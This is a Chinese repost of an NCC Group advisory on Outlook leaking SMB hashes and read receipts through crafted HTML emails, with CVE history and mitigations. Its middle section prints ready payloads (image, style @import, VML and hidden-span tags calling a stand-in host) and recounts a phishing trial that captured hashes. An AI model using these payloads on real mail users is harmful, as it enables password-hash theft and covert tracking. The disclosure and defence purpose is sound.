在MS Outlook中进行SMB哈希劫持和用户追踪 Secer's Blog - 记录互联网安全历程与个人成长经历

导语：在受害者打开或查看电子邮件后，攻击者可能会滥用微软的Outlook向外部发送SMB握手。即使SMB端口被阻塞，也能向外发送WebDAV请求。当SMB哈希被发送到外部时，攻击者可以用其来破解受害者的密码，或者攻击者也可以利用其收到关于受害者查看

简要描述

在受害者打开或查看电子邮件后，攻击者可能会滥用微软(Microsoft)的Outlook向外部发送SMB握手。即使SMB端口被阻塞，也能向外发送WebDAV请求。当SMB哈希被发送到外部时，攻击者可以用其来破解受害者的密码，或者攻击者也可以利用其收到关于受害者查看邮件的通知。

这个问题在2017年7月得到了部分修补(CVE-2017-8572[1])。根据微软安全响应中心(MSRC)，在2017年12月发布的CVE-2017-11927[2]中也对一些有效载荷进行了修补。该补丁于2018年5月更新，以解决本报告中提到的其他问题。

介绍

用户通常会打开一封未读的、看似无害的电子邮件，以查看邮件内容，即使他们对内容并不确定。用户的这一行为足以让攻击者可以劫持SMB哈希，或者至少可以确定受害者是否查看了特定的电子邮件，以判断用户正在使用的是否是MS Outlook邮件客户端，以及用户是否连接了Internet。当读取窗格(预览页面)可见(默认)时，只需受害者单击一下电子邮件主题，攻击者就足以利用该行为获取信息。

这种攻击是在NCC Group的研究中发现的，并通过将默认设置为禁用外部图像，在2016年和2010年的Outlook上进行了测试。在2017年3月将该问题报告给了MS。

我们还要注意,考虑到存在的钓鱼攻击，为了让人们理解在减轻网络钓鱼攻击风险领域取得的进步，这种攻击已经作为我们的Piranha钓鱼平台的一个功能实现了。由NCC Group开发

帮助企业识别自己人、程序以及技术故障[3]。

研究经过

当我在做评估的时候，我收到了Outlook 2010的一个HTML邮件，里面有一个与下面这个类似的图片标签:

< img src = " / /example.com/test/image.jpg " >

我可以看到，在打开那封邮件后Outlook正在寻找东西，并且花了比平时更长的时间才完全打开邮件。我很快就意识到，Outlook实际上使用了URL作为“\\example.com\test\image.jpg”，并给“example.com”发送了一个SMB请求。

尽管在提供的SMB路径有效时，也没有加载图像，但它可以将我的SMB哈希发送到任意位置。这种攻击在2016年的Outlook上无法进行，因此我开始了一个小的研究项目，尝试不同的HTML标签，通过不同的URI方案以及特殊的有效载荷接受URI。

我设计了一个快速(并且略微无耻的)ASP.NET应用程序，成功地测试了一个带有不同目标的已知URI方案的列表。而ASP.NET应用程序使用的是ASPOSE.Email[4]和Microsoft Office互操作库。使用稍微改的cure53 HTTPLeaks项目[5]作为生成电子邮件的HTML模板。本研究中使用的无耻 C#代码、URI方案、公式和HTML模板可以在以下GitHub项目中找到:

https://github.com/nccgroup/OutlookLeakTest

为了减少可能出现的复杂问题，我们使用了Wireshark以及Sysinternals Suite的Process Monitor来检测远程的以及本地的文件系统调用。

发现

当打开一个精心制作的HTML电子邮件，Outlook便向发送外部SMB/WebDAV请求。这一特性可能会被攻击者滥用，以劫持受害者的SMB哈希，或者确定收件人是否查看了消息。

这一问题是攻击者利用了Outlook默认设置，这一设置会阻塞外部资源，比如图像文件。

远程调用

虽然“\\”模式被Outlook阻塞，但是我们发现有许多其他模式和URI方案迫使Outlook向远程服务器发送请求。

下表显示了已被识别的向量:

本地文件系统调用

Outlook的这种特性，还可以确定URI方案，而URI方案可用于在本地文件系统上定位文件。这可能很有趣，特别是当使用一个映射的网络共享(使用写权限)或者在文件系统上删除一个文件时。下面是被识别的URI方案:

一些有效载荷的例子

一些URI方案(远程/本地)只在某些HTML代码中使用时起作用。虽然在测试中发现只有以下有效载荷是有效的，但是我们不应该认为这些有效载荷是唯一具有加载资源能力的。

图像标签:

<img src="//example.com/anon/test.txt" >

基本标签+图像标签:

<base href="//example.com/IDontExist/">
<img>

样式标签:

</style>
@import 'its:/example.com/foo1/test';
@import url(its:/example.com/foo2/test);
</style>

Body 标签 (图片):

<body background="its:/example.com/IDontExistNew/foobar">
< img src = " / /example.com/anon/test.txt " >

输入标签 (图片):

<input type="image" src="its:/example.com/IDontExistNew/foobar" name="test" value="test">

链接标签(风格):

<link rel="stylesheet" href="its:/example.com/IDontExistNew/foobar" />

VML 标签(图片):

<v:background xmlns:v="urn:schemas-microsoft-com:vml">
            <v:fill src="its:/example.com/IDontExistNew/foobar" />
</v:background>

所有上述HTML标签的组合也可以用来增加远程调用的机会。

也可以用这样的方法将有效载荷隐藏在电子邮件中:

<span style="overflow:hidden; float:left; display:none; line-height:0px;"><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
This part is hidden
<v:background xmlns:v="urn:schemas-microsoft-com:vml">
           <v:fill src="its:/example.com/IDontExistNew123456/foobar" />
</v:background>
</span>

当用户选择以纯文本格式查看邮件时，攻击者可以使用不同的MIME类型发送电子邮件来隐藏有效负载。因此，只有以HTML格式查看邮件的用户才能成为目标。这一特性也可能被滥用，来诱使普通用户以HTML格式查看电子邮件，以便执行攻击。

Piranha钓鱼平台

在确定了这一漏洞之后，在Red Team的参与下我们在野外进行了一下尝试。使用我们的Piranha钓鱼平台，我们制作了两个HTML邮件;第一个是一封明显的钓鱼邮件，第二个是基于实际情况的批量营销邮件。这两种情况的HTML源都是在Piranha中编辑的，其中包含了一个“its”URL的CSS @import，该URL指向一个基于internet的系统运行响应器。

在第一个例子中，一些目标用户将明显的钓鱼邮件转发给了他们的IT部门，在此过程中，同时暴露了他们自己以及IT管理员的哈希。第二封邮件被发送给了10个用户。其中有8个用户是在公司网络之外的网络接收到了电子邮件(其公司网络正确地阻止了445端口的出站流量)，导致他们的哈希被捕获。值得注意的是，这种成功骗取用户接收查看钓鱼邮件活动的成功率大约是在我们自服务Piranha钓鱼平台上所观察到的四倍，Piranha把受害者引诱到一个虚假的登录页面;使用合法的批量营销电子邮件作为载体还能阻止任何人报告其钓鱼攻击行为。

MS的回应

该问题于2017年3月8日报告给了MS，最初并没有达到他们的安全服务标准，因为“这只是要求用户打开一个不可信的电子邮件”。然而，在提供了更多关于在我们进行的网络钓鱼评估中(该问题使我们的攻击强度提高了四倍)，利用该问题进行钓鱼攻击的证据之后，MS接受该问题是一个安全问题。

最初在2017年7月下旬对该问题进行了部分修补[1]。这个补丁并没有停止“mk:@MSITStore”的计划。

根据MSRC, CVE-2017-11927[2](由于我们的报告，最初没有公布)已经纠正了一些有效载荷。该补丁于2018年5月更新，以解决本报告中所陈述的其他问题。

没有应用补丁的解决方法

A)MS建议，担心会受到这类攻击的客户，如果不愿意或者无法处理网络边缘的阻塞，可以使用Windows防火墙。该建议已被记录在[6]中。

B)基于MS的建议，该问题的解决方案是在Outlook中禁用电子邮件预览选项，并在不打开的情况下立即删除未知邮件。我们认为这种策略并不可靠，因为电子邮件用户的信任可以在很多方面被利用，特别是当一封电子邮件的主题特别吸引人或者是邮件主题对用户来说比较熟悉，又或者发件人看起来比较熟悉。

C)MS还建议考虑对外部端口445和139的外部请求进行阻塞。虽然这个解决方案不能阻止Outlook发送DNS或WebDAV请求(可用于追踪)，但该方案确实挫败了SMB哈希劫持攻击。在测试期间，我们没有看到通过WebDAV请求发送SMB哈希。注意，此解决方案不能阻止针对本地文件系统上的文件的攻击。

D)我们建议在Outlook中以纯文本的格式打开所有的电子邮件，以阻止该类以及其他类似的攻击。为了以纯文本格式查看所有传入的电子邮件，请在以下内容中勾选“Read as plain text”复选框:

Outlook > File menu > Options > Trust Center > Trust Center Settings… > Email Security

尽管用户通过这种方式阅读电子邮件不方便并且有点复杂，但这是目前最强大的解决方案。它类似于以纯文本模式查看HTML网页，这可能会违背使用浏览器的初衷。当需要在HTML中查看可信的电子邮件时，或许这个选项可以被更改为默认值(Outlook 2016提供了一个简单的更改，可以在HTML中查看电子邮件)。

除了上述建议以及与点A类似，用户应该始终选择设置强密码，在适当及有益的情况下，用户应该使用适当的Restrict NTLM策略来保护域用户。注意，通过Restrict NTLM可以与访问控制重叠而实现的可行限制，而访问控制通过使用网络隔离以及基于主机的防火墙进行欺骗。

在某些环境中，后一种方法可能比Restrict NTLM策略设置更灵活或更直接管理。在这两种情况下，理解主机之间的合法流量是定义和审计有效控制的基础。在任何策略的推导过程中，以及在部署新策略之前，强烈建议使用Restrict NTLM审计选项和设置。这将最大程度地降低合法连接被意外阻塞的可能性。

另一个类似的问题是在RTF中使用OLE

当我们在等待最后一个补丁的时候，一个类似的使用SMB窃取哈希的问题在[7](CVE-2018-0950)上发布。虽然它使用的是OLE矢量，但其影响是相同的。

参考：

[1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8572
[2] https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-11927
[3] https://www.nccgroup.trust/uk/our-services/security-consulting/managed-and-hosted-security-services/vulnerability-management-and-detection/phishing-simulation-piranha/
[4] https://downloads.aspose.com/email/net
[5] https://github.com/cure53/HTTPLeaks
[6] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170014
[7] https://insights.sei.cmu.edu/cert/2018/04/automatically-stealing-password-hashes-with-microsoft-outlook-and-ole.html

源链接

Hacking more

...

#attack #hack